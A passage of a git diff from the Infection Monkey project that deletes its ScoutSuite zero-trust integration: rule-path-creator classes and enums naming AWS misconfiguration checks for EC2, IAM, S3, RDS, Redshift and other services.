monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class ELBRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.ELB - supported_rules = ELBRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py deleted file mode 100644 index 8a560f401..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class ELBv2RulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.ELB_V2 - supported_rules = ELBv2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py deleted file mode 100644 index 0ab9e686f..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class IAMRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.IAM - supported_rules = IAMRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py deleted file mode 100644 index 56252a3f6..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class RDSRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.RDS - supported_rules = RDSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py deleted file mode 100644 index 90ba44308..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py +++ /dev/null @@ -1,12 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import ( - RedshiftRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class RedshiftRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.REDSHIFT - supported_rules = RedshiftRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py deleted file mode 100644 index aa6f101aa..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class S3RulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.S3 - supported_rules = S3Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py deleted file mode 100644 index 4530aa097..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class SESRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.SES - supported_rules = SESRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py deleted file mode 100644 index bb619f92f..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class SNSRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.SNS - supported_rules = SNSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py deleted file mode 100644 index 19229c1d6..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class SQSRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.SQS - supported_rules = SQSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py deleted file mode 100644 index 7f3cfecde..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501 - AbstractRulePathCreator, -) - - -class VPCRulePathCreator(AbstractRulePathCreator): - service_type = SERVICE_TYPES.VPC - supported_rules = VPCRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py deleted file mode 100644 index d724ca584..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py +++ /dev/null @@ -1,63 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudformation_rule_path_creator import ( # noqa: E501 - CloudformationRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudtrail_rule_path_creator import ( # noqa: E501 - CloudTrailRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudwatch_rule_path_creator import ( # noqa: E501 - CloudWatchRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.config_rule_path_creator import ( # noqa: E501 - ConfigRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ec2_rule_path_creator import ( # noqa: E501 - EC2RulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elb_rule_path_creator import ( # noqa: E501 - ELBRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elbv2_rule_path_creator import ( # noqa: E501 - ELBv2RulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.iam_rule_path_creator import ( # noqa: E501 - IAMRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.rds_rule_path_creator import ( # noqa: E501 - RDSRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.redshift_rule_path_creator import ( # noqa: E501 - RedshiftRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.s3_rule_path_creator import ( # noqa: E501 - S3RulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ses_rule_path_creator import ( # noqa: E501 - SESRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sns_rule_path_creator import ( # noqa: E501 - SNSRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sqs_rule_path_creator import ( # noqa: E501 - SQSRulePathCreator, -) -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.vpc_rule_path_creator import ( # noqa: E501 - VPCRulePathCreator, -) - -RULE_PATH_CREATORS_LIST = [ - EC2RulePathCreator, - ELBv2RulePathCreator, - RDSRulePathCreator, - RedshiftRulePathCreator, - S3RulePathCreator, - IAMRulePathCreator, - CloudTrailRulePathCreator, - ELBRulePathCreator, - VPCRulePathCreator, - CloudWatchRulePathCreator, - SQSRulePathCreator, - SNSRulePathCreator, - SESRulePathCreator, - ConfigRulePathCreator, - CloudformationRulePathCreator, -] From a35f141cbed1cc01107b44f9aa8feda07b20845d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Feb 2022 15:32:37 -0500 Subject: [PATCH 0324/1110] Island: Remove scoutsuite findings and rules --- .../consts/rule_names/cloudformation_rules.py | 8 - .../consts/rule_names/cloudtrail_rules.py | 13 - .../consts/rule_names/cloudwatch_rules.py | 8 - .../consts/rule_names/config_rules.py | 8 - .../scoutsuite/consts/rule_names/ec2_rules.py | 37 --- .../scoutsuite/consts/rule_names/elb_rules.py | 12 - .../consts/rule_names/elbv2_rules.py | 18 -- .../scoutsuite/consts/rule_names/iam_rules.py | 41 ---- .../scoutsuite/consts/rule_names/rds_rules.py | 21 -- .../consts/rule_names/redshift_rules.py | 21 -- .../consts/rule_names/rule_name_enum.py | 5 - .../scoutsuite/consts/rule_names/s3_rules.py | 31 --- .../scoutsuite/consts/rule_names/ses_rules.py | 9 - .../scoutsuite/consts/rule_names/sns_rules.py | 14 -- .../scoutsuite/consts/rule_names/sqs_rules.py | 16 -- .../scoutsuite/consts/rule_names/vpc_rules.py | 17 -- .../consts/scoutsuite_finding_maps.py | 224 ------------------ .../consts/scoutsuite_findings_list.py | 19 -- .../zero_trust/test_scoutsuite_finding.py | 45 ---- .../test_common/scoutsuite_finding_data.py | 89 ------- .../zero_trust_report/test_finding_service.py | 64 ----- 21 files changed, 720 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rule_name_enum.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py delete mode 100644 monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py deleted file mode 100644 index c8dbffb46..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py +++ /dev/null @@ -1,8 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class CloudformationRules(RuleNameEnum): - # Service Security - CLOUDFORMATION_STACK_WITH_ROLE = "cloudformation-stack-with-role" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py deleted file mode 100644 index 04d1599dd..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py +++ /dev/null @@ -1,13 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class CloudTrailRules(RuleNameEnum): - # Logging - CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING = "cloudtrail-duplicated-global-services-logging" - CLOUDTRAIL_NO_DATA_LOGGING = "cloudtrail-no-data-logging" - CLOUDTRAIL_NO_GLOBAL_SERVICES_LOGGING = "cloudtrail-no-global-services-logging" - CLOUDTRAIL_NO_LOG_FILE_VALIDATION = "cloudtrail-no-log-file-validation" - CLOUDTRAIL_NO_LOGGING = "cloudtrail-no-logging" - CLOUDTRAIL_NOT_CONFIGURED = "cloudtrail-not-configured" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py deleted file mode 100644 index 954e6fc11..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py +++ /dev/null @@ -1,8 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class CloudWatchRules(RuleNameEnum): - # Logging - CLOUDWATCH_ALARM_WITHOUT_ACTIONS = "cloudwatch-alarm-without-actions" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py deleted file mode 100644 index 6487bda99..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py +++ /dev/null @@ -1,8 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class ConfigRules(RuleNameEnum): - # Logging - CONFIG_RECORDER_NOT_CONFIGURED = "config-recorder-not-configured" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py deleted file mode 100644 index 648fbed61..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py +++ /dev/null @@ -1,37 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class EC2Rules(RuleNameEnum): - # Permissive firewall rules - SECURITY_GROUP_ALL_PORTS_TO_ALL = "ec2-security-group-opens-all-ports-to-all" - SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL = "ec2-security-group-opens-TCP-port-to-all" - SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL = "ec2-security-group-opens-UDP-port-to-all" - SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL = "ec2-security-group-opens-RDP-port-to-all" - SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL = "ec2-security-group-opens-SSH-port-to-all" - SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL = "ec2-security-group-opens-MySQL-port-to-all" - SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL = "ec2-security-group-opens-MsSQL-port-to-all" - SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL = "ec2-security-group-opens-MongoDB-port-to-all" - SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL = "ec2-security-group-opens-Oracle DB-port-to-all" - SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL = "ec2-security-group-opens-PostgreSQL-port-to-all" - SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL = "ec2-security-group-opens-NFS-port-to-all" - SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL = "ec2-security-group-opens-SMTP-port-to-all" - SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL = "ec2-security-group-opens-DNS-port-to-all" - SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF = "ec2-security-group-opens-all-ports-to-self" - SECURITY_GROUP_OPENS_ALL_PORTS = "ec2-security-group-opens-all-ports" - SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP = "ec2-security-group-opens-plaintext-port-FTP" - SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET = "ec2-security-group-opens-plaintext-port-Telnet" - SECURITY_GROUP_OPENS_PORT_RANGE = "ec2-security-group-opens-port-range" - EC2_SECURITY_GROUP_WHITELISTS_AWS = "ec2-security-group-whitelists-aws" - - # Encryption - EBS_SNAPSHOT_NOT_ENCRYPTED = "ec2-ebs-snapshot-not-encrypted" - EBS_VOLUME_NOT_ENCRYPTED = "ec2-ebs-volume-not-encrypted" - EC2_INSTANCE_WITH_USER_DATA_SECRETS = "ec2-instance-with-user-data-secrets" - - # Permissive policies - AMI_PUBLIC = "ec2-ami-public" - EC2_DEFAULT_SECURITY_GROUP_IN_USE = "ec2-default-security-group-in-use" - EC2_DEFAULT_SECURITY_GROUP_WITH_RULES = "ec2-default-security-group-with-rules" - EC2_EBS_SNAPSHOT_PUBLIC = "ec2-ebs-snapshot-public" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py deleted file mode 100644 index c4fad62ec..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py +++ /dev/null @@ -1,12 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class ELBRules(RuleNameEnum): - # Logging - ELB_NO_ACCESS_LOGS = "elb-no-access-logs" - - # Encryption - ELB_LISTENER_ALLOWING_CLEARTEXT = "elb-listener-allowing-cleartext" - ELB_OLDER_SSL_POLICY = "elb-older-ssl-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py deleted file mode 100644 index 90590a651..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py +++ /dev/null @@ -1,18 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class ELBv2Rules(RuleNameEnum): - # Encryption - ELBV2_LISTENER_ALLOWING_CLEARTEXT = "elbv2-listener-allowing-cleartext" - ELBV2_OLDER_SSL_POLICY = "elbv2-older-ssl-policy" - - # Logging - ELBV2_NO_ACCESS_LOGS = "elbv2-no-access-logs" - - # Data loss prevention - ELBV2_NO_DELETION_PROTECTION = "elbv2-no-deletion-protection" - - # Service security - ELBV2_HTTP_REQUEST_SMUGGLING = "elbv2-http-request-smuggling" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py deleted file mode 100644 index 8589446bb..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py +++ /dev/null @@ -1,41 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class IAMRules(RuleNameEnum): - # Authentication/authorization - IAM_USER_NO_ACTIVE_KEY_ROTATION = "iam-user-no-Active-key-rotation" - IAM_PASSWORD_POLICY_MINIMUM_LENGTH = "iam-password-policy-minimum-length" - IAM_PASSWORD_POLICY_NO_EXPIRATION = "iam-password-policy-no-expiration" - IAM_PASSWORD_POLICY_REUSE_ENABLED = "iam-password-policy-reuse-enabled" - IAM_USER_WITH_PASSWORD_AND_KEY = "iam-user-with-password-and-key" - IAM_ASSUME_ROLE_LACKS_EXTERNAL_ID_AND_MFA = "iam-assume-role-lacks-external-id-and-mfa" - IAM_USER_WITHOUT_MFA = "iam-user-without-mfa" - IAM_ROOT_ACCOUNT_NO_MFA = "iam-root-account-no-mfa" - IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS = "iam-root-account-with-active-keys" - IAM_USER_NO_INACTIVE_KEY_ROTATION = "iam-user-no-Inactive-key-rotation" - IAM_USER_WITH_MULTIPLE_ACCESS_KEYS = "iam-user-with-multiple-access-keys" - - # Least privilege - IAM_ASSUME_ROLE_POLICY_ALLOWS_ALL = "iam-assume-role-policy-allows-all" - IAM_EC2_ROLE_WITHOUT_INSTANCES = "iam-ec2-role-without-instances" - IAM_GROUP_WITH_INLINE_POLICIES = "iam-group-with-inline-policies" - IAM_GROUP_WITH_NO_USERS = "iam-group-with-no-users" - IAM_INLINE_GROUP_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-group-policy-allows-iam-PassRole" - IAM_INLINE_GROUP_POLICY_ALLOWS_NOTACTIONS = "iam-inline-group-policy-allows-NotActions" - IAM_INLINE_GROUP_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-group-policy-allows-sts-AssumeRole" - IAM_INLINE_ROLE_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-role-policy-allows-iam-PassRole" - IAM_INLINE_ROLE_POLICY_ALLOWS_NOTACTIONS = "iam-inline-role-policy-allows-NotActions" - IAM_INLINE_ROLE_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-role-policy-allows-sts-AssumeRole" - IAM_INLINE_USER_POLICY_ALLOWS_IAM_PASSROLE = "iam-inline-user-policy-allows-iam-PassRole" - IAM_INLINE_USER_POLICY_ALLOWS_NOTACTIONS = "iam-inline-user-policy-allows-NotActions" - IAM_INLINE_USER_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-inline-user-policy-allows-sts-AssumeRole" - IAM_MANAGED_POLICY_ALLOWS_IAM_PASSROLE = "iam-managed-policy-allows-iam-PassRole" - IAM_MANAGED_POLICY_ALLOWS_NOTACTIONS = "iam-managed-policy-allows-NotActions" - IAM_MANAGED_POLICY_ALLOWS_STS_ASSUMEROLE = "iam-managed-policy-allows-sts-AssumeRole" - IAM_MANAGED_POLICY_NO_ATTACHMENTS = "iam-managed-policy-no-attachments" - IAM_ROLE_WITH_INLINE_POLICIES = "iam-role-with-inline-policies" - IAM_ROOT_ACCOUNT_USED_RECENTLY = "iam-root-account-used-recently" - IAM_ROOT_ACCOUNT_WITH_ACTIVE_CERTS = "iam-root-account-with-active-certs" - IAM_USER_WITH_INLINE_POLICIES = "iam-user-with-inline-policies" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py deleted file mode 100644 index db8e2602b..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py +++ /dev/null @@ -1,21 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class RDSRules(RuleNameEnum): - # Encryption - RDS_INSTANCE_STORAGE_NOT_ENCRYPTED = "rds-instance-storage-not-encrypted" - - # Data loss prevention - RDS_INSTANCE_BACKUP_DISABLED = "rds-instance-backup-disabled" - RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD = "rds-instance-short-backup-retention-period" - RDS_INSTANCE_SINGLE_AZ = "rds-instance-single-az" - - # Firewalls - RDS_SECURITY_GROUP_ALLOWS_ALL = "rds-security-group-allows-all" - RDS_SNAPSHOT_PUBLIC = "rds-snapshot-public" - - # Service security - RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED = "rds-instance-ca-certificate-deprecated" - RDS_INSTANCE_NO_MINOR_UPGRADE = "rds-instance-no-minor-upgrade" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py deleted file mode 100644 index 20fa6337d..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py +++ /dev/null @@ -1,21 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class RedshiftRules(RuleNameEnum): - # Encryption - REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED = "redshift-cluster-database-not-encrypted" - REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED = "redshift-parameter-group-ssl-not-required" - - # Firewalls - REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL = "redshift-security-group-whitelists-all" - - # Restrictive Policies - REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE = "redshift-cluster-publicly-accessible" - - # Logging - REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED = "redshift-parameter-group-logging-disabled" - - # Service security - REDSHIFT_CLUSTER_NO_VERSION_UPGRADE = "redshift-cluster-no-version-upgrade" diff --git 